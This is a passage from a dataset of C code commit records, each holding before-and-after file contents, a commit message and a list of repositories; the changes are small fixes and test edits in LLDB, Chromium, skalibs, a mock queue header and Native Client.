QNX.\n","lang":"C","license":"mpl-2.0","repos":"postmind-net\/postgres-xl,randomtask1155\/gpdb,rvs\/gpdb,janebeckman\/gpdb,foyzur\/gpdb,xuegang\/gpdb,arcivanov\/postgres-xl,jmcatamney\/gpdb,cjcjameson\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,zaksoup\/gpdb,50wu\/gpdb,snaga\/postgres-xl,Quikling\/gpdb,adam8157\/gpdb,lintzc\/gpdb,lisakowen\/gpdb,kmjungersen\/PostgresXL,Chibin\/gpdb,atris\/gpdb,edespino\/gpdb,pavanvd\/postgres-xl,tangp3\/gpdb,ashwinstar\/gpdb,ahachete\/gpdb,0x0FFF\/gpdb,kmjungersen\/PostgresXL,Chibin\/gpdb,yuanzhao\/gpdb,xinzweb\/gpdb,zeroae\/postgres-xl,edespino\/gpdb,yuanzhao\/gpdb,kmjungersen\/PostgresXL,lpetrov-pivotal\/gpdb,ahachete\/gpdb,ovr\/postgres-xl,edespino\/gpdb,lpetrov-pivotal\/gpdb,lisakowen\/gpdb,lintzc\/gpdb,rubikloud\/gpdb,snaga\/postgres-xl,foyzur\/gpdb,royc1\/gpdb,kmjungersen\/PostgresXL,0x0FFF\/gpdb,postmind-net\/postgres-xl,ahachete\/gpdb,atris\/gpdb,CraigHarris\/gpdb,arcivanov\/postgres-xl,pavanvd\/postgres-xl,edespino\/gpdb,adam8157\/gpdb,foyzur\/gpdb,royc1\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,rubikloud\/gpdb,greenplum-db\/gpdb,pavanvd\/postgres-xl,yazun\/postgres-xl,ahachete\/gpdb,0x0FFF\/gpdb,janebeckman\/gpdb,rvs\/gpdb,tpostgres-projects\/tPostgres,xuegang\/gpdb,tangp3\/gpdb,kaknikhil\/gpdb,50wu\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,oberstet\/postgres-xl,randomtask1155\/gpdb,janebeckman\/gpdb,xinzweb\/gpdb,jmcatamney\/gpdb,zeroae\/postgres-xl,CraigHarris\/gpdb,cjcjameson\/gpdb,rvs\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,xuegang\/gpdb,lintzc\/gpdb,cjcjameson\/gpdb,lpetrov-pivotal\/gpdb,Postgres-XL\/Postgres-XL,rvs\/gpdb,tangp3\/gpdb,yazun\/postgres-xl,CraigHarris\/gpdb,lintzc\/gpdb,royc1\/gpdb,snaga\/postgres-xl,lisakowen\/gpdb,Chibin\/gpdb,foyzur\/gpdb,cjcjameson\/gpdb,techdragon\/Postgres-XL,postmind-net\/postgres-xl,lpetrov-pivotal\/gpdb,yazun\/postgres-xl,cjcjameson\/gpdb,ahachete\/gpdb,Postgres-XL\/Postgres-XL,CraigHarris\/gpdb,Chibin\/gpdb,randomtask1155\/gpdb,xinzweb\/gpdb,zeroae\/postgres-xl,lisakowen\/gpdb,lpetrov-pivotal\/gpdb,snaga\/postgres-xl,adam8157\/gpdb,xuegang\/gpdb,tangp3\/gpdb,kaknikhil\/gpdb,arcivanov\/postgres-xl,Chibin\/gpdb,techdragon\/Postgres-XL,Postgres-XL\/Postgres-XL,arcivanov\/postgres-xl,zaksoup\/gpdb,atris\/gpdb,tangp3\/gpdb,zaksoup\/gpdb,foyzur\/gpdb,chrishajas\/gpdb,randomtask1155\/gpdb,cjcjameson\/gpdb,ovr\/postgres-xl,edespino\/gpdb,edespino\/gpdb,Chibin\/gpdb,Quikling\/gpdb,foyzur\/gpdb,kmjungersen\/PostgresXL,xinzweb\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,greenplum-db\/gpdb,tangp3\/gpdb,yazun\/postgres-xl,ashwinstar\/gpdb,techdragon\/Postgres-XL,ovr\/postgres-xl,lisakowen\/gpdb,ahachete\/gpdb,chrishajas\/gpdb,zaksoup\/gpdb,tpostgres-projects\/tPostgres,atris\/gpdb,rvs\/gpdb,lpetrov-pivotal\/gpdb,rvs\/gpdb,Postgres-XL\/Postgres-XL,lpetrov-pivotal\/gpdb,lintzc\/gpdb,janebeckman\/gpdb,xuegang\/gpdb,tpostgres-projects\/tPostgres,royc1\/gpdb,Chibin\/gpdb,0x0FFF\/gpdb,lpetrov-pivotal\/gpdb,xuegang\/gpdb,tangp3\/gpdb,edespino\/gpdb,postmind-net\/postgres-xl,Quikling\/gpdb,edespino\/gpdb,janebeckman\/gpdb,randomtask1155\/gpdb,lisakowen\/gpdb,ovr\/postgres-xl,kaknikhil\/gpdb,Quikling\/gpdb,xuegang\/gpdb,randomtask1155\/gpdb,xuegang\/gpdb,cjcjameson\/gpdb,atris\/gpdb,royc1\/gpdb,jmcatamney\/gpdb,greenplum-db\/gpdb,50wu\/gpdb,yuanzhao\/gpdb,chrishajas\/gpdb,kaknikhil\/gpdb,ashwinstar\/gpdb,yazun\/postgres-xl,janebeckman\/gpdb,kaknikhil\/gpdb,0x0FFF\/gpdb,xinzweb\/gpdb,chrishajas\/gpdb,xinzweb\/gpdb,lisakowen\/gpdb,Chibin\/gpdb,tangp3\/gpdb,cjcjameson\/gpdb,foyzur\/gpdb,greenplum-db\/gpdb,Postgres-XL\/Postgres-XL,oberstet\/postgres-xl,lintzc\/gpdb,techdragon\/Postgres-XL,postmind-net\/postgres-xl,xuegang\/gpdb,ovr\/postgres-xl,rvs\/gpdb,0x0FFF\/gpdb,rubikloud\/gpdb,lisakowen\/gpdb,rubikloud\/gpdb,rubikloud\/gpdb,0x0FFF\/gpdb,jmcatamney\/gpdb,cjcjameson\/gpdb,janebeckman\/gpdb,50wu\/gpdb,oberstet\/postgres-xl,kaknikhil\/gpdb,royc1\/gpdb,chrishajas\/gpdb,rubikloud\/gpdb,randomtask1155\/gpdb,janebeckman\/gpdb,xinzweb\/gpdb,ashwinstar\/gpdb,atris\/gpdb,tpostgres-projects\/tPostgres,royc1\/gpdb,50wu\/gpdb,oberstet\/postgres-xl,arcivanov\/postgres-xl,lintzc\/gpdb,Chibin\/gpdb,greenplum-db\/gpdb,kaknikhil\/gpdb,adam8157\/gpdb,atris\/gpdb,CraigHarris\/gpdb,yuanzhao\/gpdb,atris\/gpdb,CraigHarris\/gpdb,lintzc\/gpdb,zaksoup\/gpdb,Quikling\/gpdb,0x0FFF\/gpdb,royc1\/gpdb,edespino\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,pavanvd\/postgres-xl,rubikloud\/gpdb,jmcatamney\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,Quikling\/gpdb,randomtask1155\/gpdb,50wu\/gpdb,jmcatamney\/gpdb,snaga\/postgres-xl,rvs\/gpdb,tpostgres-projects\/tPostgres,greenplum-db\/gpdb,rvs\/gpdb,ahachete\/gpdb,zaksoup\/gpdb,50wu\/gpdb,zaksoup\/gpdb,yuanzhao\/gpdb,zeroae\/postgres-xl,arcivanov\/postgres-xl,foyzur\/gpdb,kaknikhil\/gpdb,ashwinstar\/gpdb,ashwinstar\/gpdb,adam8157\/gpdb,techdragon\/Postgres-XL,50wu\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,ashwinstar\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,janebeckman\/gpdb,jmcatamney\/gpdb,rvs\/gpdb,ahachete\/gpdb,yuanzhao\/gpdb,chrishajas\/gpdb,adam8157\/gpdb,chrishajas\/gpdb,Quikling\/gpdb,ashwinstar\/gpdb,cjcjameson\/gpdb,chrishajas\/gpdb,greenplum-db\/gpdb,pavanvd\/postgres-xl,CraigHarris\/gpdb,zeroae\/postgres-xl,adam8157\/gpdb,yuanzhao\/gpdb,oberstet\/postgres-xl"}
{"commit":"80b30e1bfdef0904945b67b3add42458da72dcaa","old_file":"packages\/Python\/lldbsuite\/test\/commands\/expression\/multiline-completion\/main.c","new_file":"packages\/Python\/lldbsuite\/test\/commands\/expression\/multiline-completion\/main.c","old_contents":"int main(int argc, char **argv) {\n  lldb_enable_attach();\n  int to_complete = 0;\n  return to_complete;\n}\n","new_contents":"int main(int argc, char **argv) {\n  int to_complete = 0;\n  return to_complete;\n}\n","subject":"Remove unnecessary lldb_enable_attach in TestMultilineCompletion","message":"[lldb][NFC] Remove unnecessary lldb_enable_attach in TestMultilineCompletion\n\nWe don't actually need to call this for this test.\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@370623 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb"}
{"commit":"4f4ada85e23ba03759aaf617c994bf2efc7e91c4","old_file":"net\/proxy\/proxy_resolver_mac.h","new_file":"net\/proxy\/proxy_resolver_mac.h","old_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_PROXY_PROXY_RESOLVER_MAC_H_\n#define NET_PROXY_PROXY_RESOLVER_MAC_H_\n#pragma once\n\n#include <string>\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/proxy\/proxy_resolver.h\"\n\nnamespace net {\n\n\/\/ Implementation of ProxyResolver that uses the Mac CFProxySupport to implement\n\/\/ proxies.\nclass ProxyResolverMac : public ProxyResolver {\n public:\n  ProxyResolverMac() : ProxyResolver(false \/*expects_pac_bytes*\/) {}\n\n  \/\/ ProxyResolver methods:\n  virtual int GetProxyForURL(const GURL& url,\n                             ProxyInfo* results,\n                             CompletionCallback* callback,\n                             RequestHandle* request,\n                             const BoundNetLog& net_log);\n\n  virtual void CancelRequest(RequestHandle request) {\n    NOTREACHED();\n  }\n\n  virtual int SetPacScript(\n      const scoped_refptr<ProxyResolverScriptData>& script_data,\n      CompletionCallback* \/*callback*\/) {\n    script_data_ = script_data_;\n    return OK;\n  }\n\n private:\n  scoped_refptr<ProxyResolverScriptData> script_data_;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_PROXY_PROXY_RESOLVER_MAC_H_\n","new_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_PROXY_PROXY_RESOLVER_MAC_H_\n#define NET_PROXY_PROXY_RESOLVER_MAC_H_\n#pragma once\n\n#include <string>\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/proxy\/proxy_resolver.h\"\n\nnamespace net {\n\n\/\/ Implementation of ProxyResolver that uses the Mac CFProxySupport to implement\n\/\/ proxies.\nclass ProxyResolverMac : public ProxyResolver {\n public:\n  ProxyResolverMac() : ProxyResolver(false \/*expects_pac_bytes*\/) {}\n\n  \/\/ ProxyResolver methods:\n  virtual int GetProxyForURL(const GURL& url,\n                             ProxyInfo* results,\n                             CompletionCallback* callback,\n                             RequestHandle* request,\n                             const BoundNetLog& net_log);\n\n  virtual void CancelRequest(RequestHandle request) {\n    NOTREACHED();\n  }\n\n  virtual int SetPacScript(\n      const scoped_refptr<ProxyResolverScriptData>& script_data,\n      CompletionCallback* \/*callback*\/) {\n    script_data_ = script_data;\n    return OK;\n  }\n\n private:\n  scoped_refptr<ProxyResolverScriptData> script_data_;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_PROXY_PROXY_RESOLVER_MAC_H_\n","subject":"Fix a typo, that could cause a crash on mac.","message":"Fix a typo, that could cause a crash on mac.\n\nBUG=50717\nTBR=rvargas\nTEST=Set system proxy settings to use a custom PAC script, then launch TestShell.app -- should not crash.\nReview URL: http:\/\/codereview.chromium.org\/3023030\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@54279 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,robclark\/chromium,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,Just-D\/chromium-1,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,markYoungH\/chromium.src,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,keishi\/chromium,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,Chilledheart\/chromium,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,dushu1203\/chromium.src,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,littlstar\/chromium.src,ltilve\/chromium,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,keishi\/chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,keishi\/chromium,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,patrickm\/chromium.src,ltilve\/chromium,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,ltilve\/chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,Chilledheart\/chromium,littlstar\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,zcbenz\/cefode-chromium,robclark\/chromium,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,ondra-novak\/chromium.src,hujiajie\/pa-chromium,hujiajie\/pa-chromium,M4sse\/chromium.src,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,dushu1203\/chromium.src,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,littlstar\/chromium.src,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,ltilve\/chromium,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,M4sse\/chromium.src,ondra-novak\/chromium.src,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,robclark\/chromium,jaruba\/chromium.src,M4sse\/chromium.src,chuan9\/chromium-crosswalk,jaruba\/chromium.src,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,dushu1203\/chromium.src,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,keishi\/chromium,Chilledheart\/chromium,robclark\/chromium,robclark\/chromium,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,ltilve\/chromium,Chilledheart\/chromium,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,ondra-novak\/chromium.src,dednal\/chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk,jaruba\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,dednal\/chromium.src,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,rogerwang\/chromium,dednal\/chromium.src,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,dednal\/chromium.src,ChromiumWebApps\/chromium,dushu1203\/chromium.src,keishi\/chromium,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,jaruba\/chromium.src,patrickm\/chromium.src,ondra-novak\/chromium.src,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,rogerwang\/chromium,Jonekee\/chromium.src,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,anirudhSK\/chromium,Chilledheart\/chromium,hgl888\/chromium-crosswalk,dednal\/chromium.src,patrickm\/chromium.src,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,anirudhSK\/chromium,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,ltilve\/chromium,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,anirudhSK\/chromium,rogerwang\/chromium,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,jaruba\/chromium.src,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,dednal\/chromium.src,dushu1203\/chromium.src,Jonekee\/chromium.src,patrickm\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,rogerwang\/chromium,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ondra-novak\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,dednal\/chromium.src,keishi\/chromium,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,robclark\/chromium,Jonekee\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,keishi\/chromium,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,ChromiumWebApps\/chromium,rogerwang\/chromium,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,ltilve\/chromium,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,keishi\/chromium,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,keishi\/chromium,chuan9\/chromium-crosswalk,patrickm\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,markYoungH\/chromium.src,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,Just-D\/chromium-1,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,rogerwang\/chromium,littlstar\/chromium.src,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,rogerwang\/chromium,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,robclark\/chromium"}
{"commit":"9cc3c498b25f30ebe2da5b9d59df7a87ef7bc3d2","old_file":"src\/libstddjb\/absolutepath.c","new_file":"src\/libstddjb\/absolutepath.c","old_contents":"\/* ISC license. *\/\n\n\/* MT-unsafe *\/\n\n#include <skalibs\/stralloc.h>\n#include <skalibs\/skamisc.h>\n#include <skalibs\/djbunix.h>\n\nint sarealpath (stralloc *sa, char const *path)\n{\n  return sarealpath_tmp(sa, path, &satmp) ;\n}\n","new_contents":"\/* ISC license. *\/\n\n\/* MT-unsafe *\/\n\n#include <skalibs\/stralloc.h>\n#include <skalibs\/skamisc.h>\n#include <skalibs\/djbunix.h>\n\n BUG\n\nint sarealpath (stralloc *sa, char const *path)\n{\n  return sarealpath_tmp(sa, path, &satmp) ;\n}\n","subject":"Make build crash early on purpose (to test test suite...)","message":" Make build crash early on purpose (to test test suite...)\n","lang":"C","license":"isc","repos":"skarnet\/skalibs,skarnet\/skalibs"}
{"commit":"a9befa9f89a002dc2fa7696a44936055a98de413","old_file":"test_utils\/mock_queue.h","new_file":"test_utils\/mock_queue.h","old_contents":"#ifndef TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n#define TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n\n#include <stdint.h>\n\n#include \"gmock\/gmock.h\"\n\n#include \"lib\/queue_interface.h\"\n\nnamespace tachyon {\nnamespace testing {\n\n\/\/ Mock class for queues.\ntemplate <class T>\nclass MockQueue : public QueueInterface<T> {\n public:\n  MOCK_METHOD1_T(Enqueue, bool(const T &item));\n  MOCK_METHOD1_T(EnqueueBlocking, bool(const T &item));\n\n  MOCK_METHOD1_T(DequeueNext, bool(T *item));\n  MOCK_METHOD1_T(DequeueNextBlocking, void(T *item));\n\n  MOCK_CONST_METHOD0_T(GetOffset, int());\n  MOCK_METHOD0_T(FreeQueue, void());\n\n  MOCK_CONST_METHOD0_T(GetNumConsumers, uint32_t());\n};\n\n}  \/\/ namespace testing\n}  \/\/ namespace tachyon\n\n#endif  \/\/ TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n","new_contents":"#ifndef TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n#define TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n\n#include <stdint.h>\n\n#include \"gmock\/gmock.h\"\n\n#include \"lib\/queue_interface.h\"\n\nnamespace tachyon {\nnamespace testing {\n\n\/\/ Mock class for queues.\ntemplate <class T>\nclass MockQueue : public QueueInterface<T> {\n public:\n  MOCK_METHOD1_T(Enqueue, bool(const T &item));\n  MOCK_METHOD1_T(EnqueueBlocking, bool(const T &item));\n\n  MOCK_METHOD1_T(DequeueNext, bool(T *item));\n  MOCK_METHOD1_T(DequeueNextBlocking, void(T *item));\n\n  MOCK_METHOD1_T(PeekNext, bool(T *item));\n  MOCK_METHOD1_T(PeekNextBlocking, void(T *item));\n\n  MOCK_CONST_METHOD0_T(GetOffset, int());\n  MOCK_METHOD0_T(FreeQueue, void());\n\n  MOCK_CONST_METHOD0_T(GetNumConsumers, uint32_t());\n};\n\n}  \/\/ namespace testing\n}  \/\/ namespace tachyon\n\n#endif  \/\/ TACHYON_TEST_UTILS_MOCK_QUEUE_H_\n","subject":"Add peek methods to mock queue.","message":"Add peek methods to mock queue.\n","lang":"C","license":"mit","repos":"djpetti\/gaia,djpetti\/gaia,djpetti\/gaia"}
{"commit":"388d30f266630975e30de38b987038859207d3bc","old_file":"tests\/glibc_syscall_wrappers\/test_stat.c","new_file":"tests\/glibc_syscall_wrappers\/test_stat.c","old_contents":"\/*\n * Copyright 2010 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can\n * be found in the LICENSE file.\n *\/\n\n#include <assert.h>\n#include <errno.h>\n#include <stdio.h>\n#include <sys\/stat.h>\n\n#pragma GCC diagnostic ignored \"-Wnonnull\"\n\n#define KNOWN_FILE_SIZE 30\n\nint main(int argc, char** argv) {\n  struct stat st;\n  struct stat64 st64;\n\n  if (2 != argc) {\n    printf(\"Usage: sel_ldr test_stat.nexe test_stat_data\\n\");\n    return 1;\n  }\n  st.st_size = 0;\n  st64.st_size = 0;\n\n  assert(-1 == stat(NULL, &st));\n  assert(EFAULT == errno);\n  assert(-1 == stat(\".\", NULL));\n  assert(EFAULT == errno);\n  errno = 0;\n  assert(0 == stat(argv[1], &st));\n  assert(0 == errno);\n  assert(KNOWN_FILE_SIZE == st.st_size);\n\n  assert(-1 == stat64(NULL, &st64));\n  assert(EFAULT == errno);\n  assert(-1 == stat64(\".\", NULL));\n  assert(EFAULT == errno);\n  errno = 0;\n  assert(0 == stat64(argv[1], &st64));\n  assert(0 == errno);\n  assert(KNOWN_FILE_SIZE == st64.st_size);\n\n  return 0;\n}\n","new_contents":"\/*\n * Copyright 2010 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can\n * be found in the LICENSE file.\n *\/\n\n#include <assert.h>\n#include <errno.h>\n#include <stdio.h>\n#include <sys\/stat.h>\n\n#pragma GCC diagnostic ignored \"-Wnonnull\"\n\n#define KNOWN_FILE_SIZE 30\n\nint main(int argc, char** argv) {\n  struct stat st;\n\n  if (2 != argc) {\n    printf(\"Usage: sel_ldr test_stat.nexe test_stat_data\\n\");\n    return 1;\n  }\n  st.st_size = 0;\n\n  assert(-1 == stat(NULL, &st));\n  assert(EFAULT == errno);\n  assert(-1 == stat(\".\", NULL));\n  assert(EFAULT == errno);\n  errno = 0;\n  assert(0 == stat(argv[1], &st));\n  assert(0 == errno);\n  assert(KNOWN_FILE_SIZE == st.st_size);\n\n  return 0;\n}\n","subject":"Remove test for obsolete function stat64.","message":"Remove test for obsolete function stat64.\n\nBUG=\nTEST=run_stat_test\nReview URL: http:\/\/codereview.chromium.org\/6300006\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@4152 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client,nacl-webkit\/native_client,sbc100\/native_client,nacl-webkit\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client,nacl-webkit\/native_client,sbc100\/native_client"}
